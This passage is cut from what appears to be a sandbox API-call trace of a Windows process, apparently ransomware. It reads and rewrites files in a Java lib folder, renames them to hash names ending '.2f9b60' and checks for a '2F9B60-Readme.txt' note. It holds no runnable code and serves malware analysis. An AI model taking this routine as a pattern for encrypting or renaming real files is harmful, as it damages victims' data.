Flags=0x0, BaseAddress=0x42059a10) returned 1 [0143.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x166e00 [0143.316] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.317] WriteFile (in: hFile=0x1fc4, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3790f910, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x3790f910*=0x112, lpOverlapped=0x0) returned 1 [0143.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0143.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6b0 [0143.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6b0) returned 1 [0143.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6b0 [0143.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe680 [0143.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0143.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe620) returned 1 [0143.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0143.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x42059ba0 [0143.536] sprintf (in: _Dest=0x42059ba0, _Format="%c%c" | out: _Dest="db") returned 2 [0143.536] sprintf (in: _Dest=0x42059ba2, _Format="%c%c" | out: _Dest="fe") returned 2 [0143.536] sprintf (in: _Dest=0x42059ba4, _Format="%c%c" | out: _Dest="b8") returned 2 [0143.536] sprintf (in: _Dest=0x42059ba6, _Format="%c%c" | out: _Dest="66") returned 2 [0143.536] sprintf (in: _Dest=0x42059ba8, _Format="%c%c" | out: _Dest="09") returned 2 [0143.536] sprintf (in: _Dest=0x42059baa, _Format="%c%c" | out: _Dest="74") returned 2 [0143.536] sprintf (in: _Dest=0x42059bac, _Format="%c%c" | out: _Dest="f9") returned 2 [0143.536] sprintf (in: _Dest=0x42059bae, _Format="%c%c" | out: _Dest="b5") returned 2 [0143.536] sprintf (in: _Dest=0x42059bb0, _Format="%c%c" | out: _Dest="39") returned 2 [0143.536] sprintf (in: _Dest=0x42059bb2, _Format="%c%c" | out: _Dest="77") returned 2 [0143.536] sprintf (in: _Dest=0x42059bb4, _Format="%c%c" | out: _Dest="0c") returned 2 [0143.536] sprintf (in: _Dest=0x42059bb6, _Format="%c%c" | out: _Dest="35") returned 2 [0143.536] sprintf (in: _Dest=0x42059bb8, _Format="%c%c" | out: _Dest="85") returned 2 [0143.536] sprintf (in: _Dest=0x42059bba, _Format="%c%c" | out: _Dest="90") returned 2 [0143.536] sprintf (in: _Dest=0x42059bbc, _Format="%c%c" | out: _Dest="4e") returned 2 [0143.536] sprintf (in: _Dest=0x42059bbe, _Format="%c%c" | out: _Dest="9e") returned 2 [0143.536] sprintf (in: _Dest=0x42059bc0, _Format="%c%c" | out: _Dest="32") returned 2 [0143.536] sprintf (in: _Dest=0x42059bc2, _Format="%c%c" | out: _Dest="c4") returned 2 [0143.536] sprintf (in: _Dest=0x42059bc4, _Format="%c%c" | out: _Dest="4f") returned 2 [0143.536] sprintf (in: _Dest=0x42059bc6, _Format="%c%c" | out: _Dest="c1") returned 2 [0143.536] sprintf (in: _Dest=0x42059bc8, _Format="%c%c" | out: _Dest="c1") returned 2 [0143.536] sprintf (in: _Dest=0x42059bca, _Format="%c%c" | out: _Dest="2f") returned 2 [0143.536] sprintf (in: _Dest=0x42059bcc, _Format="%c%c" | out: _Dest="62") returned 2 [0143.536] sprintf (in: _Dest=0x42059bce, _Format="%c%c" | out: _Dest="c7") returned 2 [0143.537] sprintf (in: _Dest=0x42059bd0, _Format="%c%c" | out: _Dest="74") returned 2 [0143.537] sprintf (in: _Dest=0x42059bd2, _Format="%c%c" | out: _Dest="ad") returned 2 [0143.537] sprintf (in: _Dest=0x42059bd4, _Format="%c%c" | out: _Dest="f0") returned 2 [0143.537] sprintf (in: _Dest=0x42059bd6, _Format="%c%c" | out: _Dest="87") returned 2 [0143.537] sprintf (in: _Dest=0x42059bd8, _Format="%c%c" | out: _Dest="ec") returned 2 [0143.537] sprintf (in: _Dest=0x42059bda, _Format="%c%c" | out: _Dest="42") returned 2 [0143.537] sprintf (in: _Dest=0x42059bdc, _Format="%c%c" | out: _Dest="f1") returned 2 [0143.537] sprintf (in: _Dest=0x42059bde, _Format="%c%c" | out: _Dest="44") returned 2 [0143.537] RtlInitAnsiString (in: DestinationString=0x3790f988, SourceString="dbfeb8660974f9b539770c3585904e9e32c44fc1c12f62c774adf087ec42f144" | out: DestinationString="dbfeb8660974f9b539770c3585904e9e32c44fc1c12f62c774adf087ec42f144") [0143.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x3790f958, SourceString="dbfeb8660974f9b539770c3585904e9e32c44fc1c12f62c774adf087ec42f144", AllocateDestinationString=1 | out: DestinationString="dbfeb8660974f9b539770c3585904e9e32c44fc1c12f62c774adf087ec42f144") returned 0x0 [0143.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050af50 [0143.537] RtlFreeAnsiString (AnsiString="d") [0143.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0143.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6b0) returned 1 [0143.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe680) returned 1 [0143.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166e00) returned 1 [0143.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1e0) returned 1 [0143.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd750) returned 1 [0143.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa220) returned 1 [0143.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4d0) returned 1 [0143.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe650) returned 1 [0143.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe710) returned 1 [0143.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe740) returned 1 [0143.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x2050ada0 [0143.539] wcscat (in: _Dest=0x2050ada0, _Source="dbfeb8660974f9b5" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\dbfeb8660974f9b5") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\dbfeb8660974f9b5" [0143.539] wcscat (in: _Dest=0x2050ada0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\dbfeb8660974f9b5.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\dbfeb8660974f9b5.2f9b60" [0143.539] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\dbfeb8660974f9b5.2f9b60", NtPathName=0x3790f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\dbfeb8660974f9b5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20507af0 [0143.540] NtSetInformationFile (FileHandle=0x1fc4, IoStatusBlock=0x3790f9d0, FileInformation=0x20507af0, Length=0x98, FileInformationClass=0xa) returned 0x0 [0144.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507af0) returned 1 [0144.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46c90) returned 1 [0144.112] NtQueryInformationFile (in: FileHandle=0x1fc4, IoStatusBlock=0x3790f998, FileInformation=0x3790f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3790f998, FileInformation=0x3790f9a8) returned 0x0 [0144.112] NtSetInformationFile (FileHandle=0x1fc4, IoStatusBlock=0x3790f998, FileInformation=0x3790f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0144.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ada0) returned 1 [0144.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050af50) returned 1 [0144.118] FlushFileBuffers (hFile=0x1fc4) returned 1 [0144.125] CloseHandle (hObject=0x1fc4) returned 1 [0144.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59cb0 [0144.128] wcscpy (in: _Dest=0x1ce59cb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0144.128] wcscat (in: _Dest=0x1ce59cb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0144.128] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59cb0) returned 1 [0147.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504910) returned 1 Thread: id = 2100 os_tid = 0x13f8 [0138.663] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\tzmappings" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\tzmappings")) returned 0x20 [0140.314] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\tzmappings", dwFileAttributes=0x20) returned 1 [0140.819] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\tzmappings" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\tzmappings"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f6c [0141.791] GetFileSizeEx (in: hFile=0x1f6c, lpFileSize=0x37c7fd40 | out: lpFileSize=0x37c7fd40*=8138) returned 1 [0141.791] SetFilePointerEx (in: hFile=0x1f6c, liDistanceToMove=0x1fc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.791] ReadFile (in: hFile=0x1f6c, lpBuffer=0x37c7fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x37c7fd08, lpOverlapped=0x0 | out: lpBuffer=0x37c7fcc0*, lpNumberOfBytesRead=0x37c7fd08*=0x4, lpOverlapped=0x0) returned 1 [0141.832] SetFilePointerEx (in: hFile=0x1f6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4a0 [0141.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4d0 [0141.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0141.832] NtQuerySystemTime (in: CurrentTime=0x37c7fc00 | out: CurrentTime=0x37c7fc00*=132462177470686000) returned 0x0 [0141.832] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x47559ae2 [0141.832] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x7883875 [0141.832] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x38b76618 [0141.832] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x72836232 [0141.832] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x574182ce [0141.832] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x4a6a42f7 [0141.832] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x31f21ef [0141.832] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x52c3213c [0141.832] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x6f6ebeb6 [0141.832] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x784618cb [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x31ad20c [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x29324c8 [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x3b3a1fd5 [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x4bcb7c80 [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x306fea3b [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x829636e [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x7a506cef [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x3496da2a [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0xc03a044 [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x416e0ecf [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x1528efe1 [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0xa4007f4 [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x438d1f77 [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x5c5ba46a [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x1dd4e202 [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x2ee4f889 [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x6d8996bb [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x33e6861b [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x507f1f8e [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x7365a1df [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x2a3696e8 [0141.833] RtlRandomEx (in: Seed=0x37c7fbf0 | out: Seed=0x37c7fbf0) returned 0x65a91a46 [0141.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe530 [0141.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe560 [0141.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0141.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4a0) returned 1 [0141.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0141.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4a0 [0141.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4a0) returned 1 [0141.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422901c0 [0141.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42279960 [0141.843] ReadFile (in: hFile=0x1f6c, lpBuffer=0x422901c0, nNumberOfBytesToRead=0x1fca, lpNumberOfBytesRead=0x37c7fbf0, lpOverlapped=0x0 | out: lpBuffer=0x422901c0*, lpNumberOfBytesRead=0x37c7fbf0*=0x1fca, lpOverlapped=0x0) returned 1 [0141.899] SetFilePointerEx (in: hFile=0x1f6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.899] WriteFile (in: hFile=0x1f6c, lpBuffer=0x42279960*, nNumberOfBytesToWrite=0x1fca, lpNumberOfBytesWritten=0x37c7fbf4, lpOverlapped=0x0 | out: lpBuffer=0x42279960*, lpNumberOfBytesWritten=0x37c7fbf4*=0x1fca, lpOverlapped=0x0) returned 1 [0141.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0141.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42279960) returned 1 [0141.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422901c0) returned 1 [0141.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0141.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fd7e0 [0141.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0141.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcf0 [0141.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0141.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fdcf0 [0141.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd750 [0141.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0141.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0141.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0141.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x1694d0 [0141.950] SetFilePointerEx (in: hFile=0x1f6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.950] WriteFile (in: hFile=0x1f6c, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x37c7fd10, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x37c7fd10*=0x106, lpOverlapped=0x0) returned 1 [0143.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0143.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0143.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265490 [0143.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265490) returned 1 [0143.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0143.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265490 [0143.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202654f0 [0143.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202654f0) returned 1 [0143.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0143.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0143.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7aa220 [0143.280] sprintf (in: _Dest=0x1b7aa220, _Format="%c%c" | out: _Dest="57") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa222, _Format="%c%c" | out: _Dest="d4") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa224, _Format="%c%c" | out: _Dest="a5") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa226, _Format="%c%c" | out: _Dest="08") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa228, _Format="%c%c" | out: _Dest="5e") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa22a, _Format="%c%c" | out: _Dest="15") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa22c, _Format="%c%c" | out: _Dest="a6") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa22e, _Format="%c%c" | out: _Dest="7e") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa230, _Format="%c%c" | out: _Dest="87") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa232, _Format="%c%c" | out: _Dest="bd") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa234, _Format="%c%c" | out: _Dest="5c") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa236, _Format="%c%c" | out: _Dest="02") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa238, _Format="%c%c" | out: _Dest="7c") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa23a, _Format="%c%c" | out: _Dest="e5") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa23c, _Format="%c%c" | out: _Dest="a0") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa23e, _Format="%c%c" | out: _Dest="42") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa240, _Format="%c%c" | out: _Dest="70") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa242, _Format="%c%c" | out: _Dest="b5") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa244, _Format="%c%c" | out: _Dest="3f") returned 2 [0143.280] sprintf (in: _Dest=0x1b7aa246, _Format="%c%c" | out: _Dest="5f") returned 2 [0143.280] RtlInitAnsiString (in: DestinationString=0x37c7fd88, SourceString="57d4a5085e15a67e87bd5c027ce5a04270b53f5f" | out: DestinationString="57d4a5085e15a67e87bd5c027ce5a04270b53f5f") [0143.280] RtlAnsiStringToUnicodeString (in: DestinationString=0x37c7fd58, SourceString="57d4a5085e15a67e87bd5c027ce5a04270b53f5f", AllocateDestinationString=1 | out: DestinationString="57d4a5085e15a67e87bd5c027ce5a04270b53f5f") returned 0x0 [0143.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86b50 [0143.281] RtlFreeAnsiString (AnsiString="5") [0143.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa220) returned 1 [0143.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265490) returned 1 [0143.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0143.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0143.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd750) returned 1 [0143.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0143.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe470) returned 1 [0143.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4d0) returned 1 [0143.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe530) returned 1 [0143.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe560) returned 1 [0143.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x42061430 [0143.283] wcscat (in: _Dest=0x42061430, _Source="57d4a5085e" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\57d4a5085e") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\57d4a5085e" [0143.283] wcscat (in: _Dest=0x42061430, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\57d4a5085e.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\57d4a5085e.2f9b60" [0143.283] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\57d4a5085e.2f9b60", NtPathName=0x37c7fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\57d4a5085e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507e10 [0143.283] NtSetInformationFile (FileHandle=0x1f6c, IoStatusBlock=0x37c7fdd0, FileInformation=0x20507e10, Length=0x8c, FileInformationClass=0xa) returned 0x0 [0145.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507e10) returned 1 [0145.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46ec0) returned 1 [0145.236] NtQueryInformationFile (in: FileHandle=0x1f6c, IoStatusBlock=0x37c7fd98, FileInformation=0x37c7fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x37c7fd98, FileInformation=0x37c7fda8) returned 0x0 [0145.236] NtSetInformationFile (FileHandle=0x1f6c, IoStatusBlock=0x37c7fd98, FileInformation=0x37c7fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0145.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86b50) returned 1 [0145.238] FlushFileBuffers (hFile=0x1f6c) returned 1 [0145.251] CloseHandle (hObject=0x1f6c) returned 1 [0145.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0145.272] wcscpy (in: _Dest=0x1b867ac0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0145.272] wcscat (in: _Dest=0x1b867ac0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0145.272] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0147.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863c70) returned 1 Thread: id = 2101 os_tid = 0x13fc [0138.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd9da90 [0138.664] wcscpy (in: _Dest=0x1cd9da90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" | 